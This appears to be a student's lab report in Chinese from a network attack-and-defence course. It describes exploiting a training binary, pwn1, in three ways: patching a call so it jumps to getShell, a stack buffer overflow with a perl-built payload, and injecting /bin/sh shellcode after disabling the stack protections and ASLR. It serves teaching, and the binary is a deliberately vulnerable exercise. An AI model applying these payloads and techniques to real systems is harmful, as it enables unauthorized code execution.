本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。本次实践的目标就是想办法运行这个代码片段。

需掌握内容

一、掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

NOP指令:“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。

JNE指令:条件转移指令(等同于“Jump Not Equal”),如果不相等则跳转。

JE指令:条件转移指令,如果相等则跳转。

JMP指令:无条件跳转指令。无条件跳转指令可转到内存中任何程序段。转移地址可在指令中给出,也可以在寄存器中给出,或在存储器中指出。

CMP指令:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

二、掌握反汇编与十六进制编程器

objdump反汇编命令:

objdump -f test     //显示test的文件头信息
objdump -d test    //反汇编test中的需要执行指令的那些section
objdump -D test    //与-d类似,但反汇编test中的所有section
objdump -h test    //显示test的Section Header信息
objdump -x test    //显示test的全部Header信息
objdump -s test    //除了显示test的全部Header信息,还显示他们对应的十六进制文件代码    

xxd命令:

用vi命令打开一个文件,在vi命令模式下输入
:%!xxd            //回车后,该文件会以十六进制形式显示
:%!xxd -r         //参数-r是指将当前的十六进制转换为二进制

本次实验包含3个实践内容:

1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

3.注入一个自己制作的shellcode并运行这段shellcode。

(PS:进行实验前,记得备份pwn1文件,毕竟需要用3次)

前言

既然pwn1是一个可执行文件,那就先执行一下吧

然而...

查询原因,发现64位kali上没有32位的运行库

安装运行库,好吧,该软件包被废弃了,换一个:lib32z1

再次执行pwn1,没问题

实践1(手动修改程序机器指令,改变程序执行流程,直接跳转到getShell函数):

1.执行命令 objdump -d pwn1 ,对pwn1文件进行反汇编

2. 查看代码中的main、foo、getShell函数,下图红框中的指令表示:main函数调用位于地址8048491处的foo函数

foo函数及相关后续函数起到回显作用,此为pwn1文件的原本正常功能(即对用户输入的字符进行简单回显)。我们需要做的,是修改红框中的地址,让main函数调用getShell函数执行,即改变程序执行流程。

分析红框中指令:

其对应机器指令为“e8 d7ffffff”,而e8为跳转之意。本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但是碰到“e8“指令,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。

由于Intel x86在存储数据时采用小端方式,即低地址上存放低字节,高地址上存放高字节。因此按照人类读数方式,“d7ffffff”这个补码的正常读数方式为:ff ff ff d7,转换为十进制是-41(十六进制0x29),所以跳转到EIP + d7ffffff = 80484ba + d7ffffff= 80484ba-0x29 = 8048491处,发现结果正好是8048491这个值(foo函数地址)

通过以上分析,我们发现,call指令调用函数对应的机器指令为:“e8”+“该函数相对于EIP值的偏移量”,因此,若想让main函数调用getShell,只要修改“d7ffffff”为,“getShell地址 - EIP(80484ba)”对应的补码就行(804847d - 80484ba),得到结果为c3 ff ff ff。

3.下面修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff

(1)vi编辑pwn1文件,按ESC键,之后输入 :%!xxd ,将显示模式切换为16进制模式

(2)直接输入 /e8d7 ,查找需要修改的内容(如果没找到,加一空格, /e8 d7 )

(3)确认是需要修改的地方后,回车,方向键移动光标到“d7”,敲击r键,在敲击输入改动字符(或者直接按i键,编辑修改为“c3”,ESC键退出编辑模式)

(4)输入 :%!xxd -r ,转换16进制为原格式

(5)输入 :wq ,保存并退出pwn1文件

(6)再输入 objdump -d pwn1 | more 反汇编一下pwn1文件中的main函数,查看是否正确调用getShell函数

4.运行修改后的代码,得到shell

实践2(通过构造输入参数,造成BOF攻击,改变程序执行流):

缓冲区溢出:计算机对接收的输入数据没有进行有效的检测(理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符),向缓冲区内填充数据时超过了缓冲区本身的容量,而导致数据溢出到被分配空间之外的内存空间,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。(此实验是:构造指定字符串[含有getShell函数地址],让getShell函数的地址恰好溢出到EIP)

目标依然是触发getShell函数,但在这里要注意的是foo函数,该函数有Buffer Overflow漏洞,我们的目标是让溢出的字节覆盖返回地址(如下图,当输入达到28B时产生溢出)

下面确认输入字符串哪几个字符会覆盖到返回地址:

1.用gdb命令调试pwn1文件,输入一个48B的字符串,依然是,Segmentation Fault

2.接着使用 info r 命令查看当前寄存器状态,发现EIP寄存器被0x35353535覆盖,即当前返回地址为5555,这就说明刚刚输入的48B字符串中,含有5的字符串溢出到了EIP中

3.为了精确判断字符串中的溢出位置,将“55555555”替换为“12345678”,继续调试,观察具体是哪几个数字溢出到了EIP寄存器中

发现“1234”那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。

4.getShell的内存地址,通过反汇编时可以看到,即0804847d(代码中的顺序应为:\x7d\x84\04\08)

5.由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以生成包括这样字符串的一个文件(\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键)

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

6.可以使用16进制查看指令xxd查看input文件的内容是否如预期

7.将input的输入,通过管道符“|”,作为pwn1的输入 (cat input; cat) | ./pwn1 ,最后,获得shell

实践3(注入Shellcode并执行):

shellcode就是一段机器指令,通常这段机器指令的目的是为获取一个交互式的shell。

此实践中使用实验指导里给出的shellcode,如下:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

1.准备工作,修改配置(若提示找不到execstack命令,先输入命令apt-get install execstack ,进行安装)

root@kali:~/桌面# execstack -s pwn1                    //设置堆栈可执行
root@kali:~/桌面# execstack -q pwn1                    //查询文件的堆栈是否可执行
X pwn1
root@kali:~/桌面# more /proc/sys/kernel/randomize_va_space

root@kali:~/桌面# " > /proc/sys/kernel/randomize_va_space  //关闭地址随机化
root@kali:~/桌面# more /proc/sys/kernel/randomize_va_space

root@kali:~/桌面#

2.构造需要注入的Payload

Linux下有两种基本构造攻击buf的方法:

(1)retaddr + nop + shellcode

(2)nop + shellcode + retaddr

由于retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面

缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边

按照实验指导中的方案,利用《nop + shellcode + retaddr》模式构造Payload时,当执行到shellcode中“push %ebx”这条指令时,出现:代码在堆栈上,当前栈顶也在这,一push就把指令自己给覆盖了这一问题(尝试过这种模式,确实获取shell失败。。。不懂汇编,并不是很懂这里的原理。。。思考中,求教)

以下实验步骤,按照《retaddr + nop + shellcode》模式,进行注入

3.步骤(注:由实践2知,需要向缓冲区填充32B数据,才能精确溢出到EIP中)

(1)构造32个字符“A”,其后为retaddr + nop + shellcode

perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

接下来需要确定返回地址(即/x4/x3/x2/x1)需要填什么,因此,注入这段buf

(cat input_shellcode;cat) | ./pwn1

(2)再开另外一个终端,用gdb来调试pwn1这个进程(在此之前,需要找到pwn1执行的进程号)

ps -ef | grep pwn1    //找到pwn1的进程号

gdb             //启动gdb调试这个进程

attach 7312        //gdb关联pwn1这个进程,开始调试

disassemble foo      //通过设置断点,来查看注入buf的内存地址

break *0x080484ae    //在另外一个终端中按下回车

c              //continue

(3)通过 info r esp 查看esp寄存器,找到01020304,即返回地址,shellcode就在该地址之后,因此,如图,将/x4/x3/x2/x1置为/x90/xd3/xff/xff即可

如图,获得shell

实验收获与感想

通过实验,对缓冲区溢出攻击原理有了一定的了解。在本次实验中,由于foo函数中使用了gets函数读入输入(该函数并不对输入的数据进行越界检查),导致缓冲区溢出攻击的发生。

汇编等相关知识以前并未接触过,对本次实验的某些出错成因、实质原理并不是很懂,没有先修知识,网络对抗实验确实不好弄。

什么是漏洞?漏洞有什么危害?

漏洞:程序员在设计制造程序产品时,仅仅只考虑该程序的功能实现,未充分考虑安全性问题,导致程序在安全策略上存在缺陷(如:未对输入数据进行过滤、检查),使得攻击者可利用该缺陷进行破环与攻击。

漏洞危害:攻击者利用该漏洞,对系统、设备等进行未授权的访问、破环,可能造成信息泄漏、资源丢失等状况,甚至威胁自身安全。

Exp1 PC平台逆向破解的更多相关文章

  1. 20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...

  2. 2018-2019-2 20165237《网络攻防技术》Exp1 PC平台逆向破解

    2018-2019-2 20165237<网络攻防技术>Exp1 PC平台逆向破解 一.实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调 ...

  3. 20165221 《网络对抗技术》EXP1 PC平台逆向破解

    20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...

  5. 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解

    - 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...

  6. Exp1 PC平台逆向破解 20165235 祁瑛

    Exp1 PC平台逆向破解 20165235 祁瑛 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字 ...

  7. 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...

  8. 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...

  9. 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解

    2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...

  10. 2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解 实验1-1直接修改程序机器指令,改变程序执行流程 先输入objdump -d 20165305pwn2查看反汇编代码 ...

随机推荐

  1. 如何快速清理 docker 资源

    如果经常使用 docker,你会发现 docker 占用的资源膨胀很快,其中最明显也最容易被察觉的应该是对磁盘空间的占用.本文将介绍如何快速的清理 docker 占用的系统资源,具体点说就是删除那些无 ...

  2. windows下vagrant的安装使用

    vagrant是简便虚拟机操作的一个软件,而使用虚拟机有几个好处: 1.为了开发环境与生产环境一致(很多开发环境为windows而生产环境为linux),不至于出现在开发环境正常而移步到正式生产环境时 ...

  3. Scrum笔记

    Scrum的笔记,需要的童鞋拿去,有错漏处请指正,谢谢. 出处:https://www.cnblogs.com/Ryu666/p/9890609.html

  4. java 易错选择题 编辑中

    1 System.out.println(int(a+b)); 编译错误  应该是(int)(a+b) 2 String s="john"+3; 是正确的,结果就是 john3 3 ...

  5. JavaScript match()方法和正则表达式match()

    先介绍参数为普通字符串的使用方式,此时match方法的返回值是存放首次匹配内容的数组.如果没有找到匹配结果,返回null.语法结构: 1 str.match(searchvalue)参数解析:(1). ...

  6. Ubuntu 14.04 下使用微软的跨平台轻量级开发神器 Visual Studio Code

    因为 Visual Studio Code 不断更新,官方最新 v1.32 的 .deb 包已经不能用于 Ubuntu 14.04 直接安装了. 下载 v1.31 的 deb 包安装即可:https: ...

  7. 编译安装redis-5.0.4

    编译安装为redis官方推荐安装方式. 本例中使用linux版本为:CentOS Linux release 7.0.1406 (Core),Basic Web Server 一.安装依赖包 yum ...

  8. ABP之session

    ABP提供了一个IAbpSession接口,可以在不使用ASPNET的session的情况下获取当前用户和租户.IAbpSession还被ABP中的其他结构(如设置和授权系统)完全集成和使用. 注入s ...

  9. Python的生成器send()方法 & yield_from

    生成器对象是一个迭代器.但是它比迭代器对象多了一些方法,它们包括send方法,throw方法和close方法.这些方法,主要是用于外部与生成器对象的交互.本文先介绍send方法. send send方 ...

  10. 最大k乘积问题

    68.最大k乘积问题 (15分)C时间限制:3000 毫秒 | C内存限制:3000 Kb题目内容:设I是一个n位十进制整数.如果将I划分为k段,则可得到k个整数.这k个整数的乘积称为I的一个k乘积. ...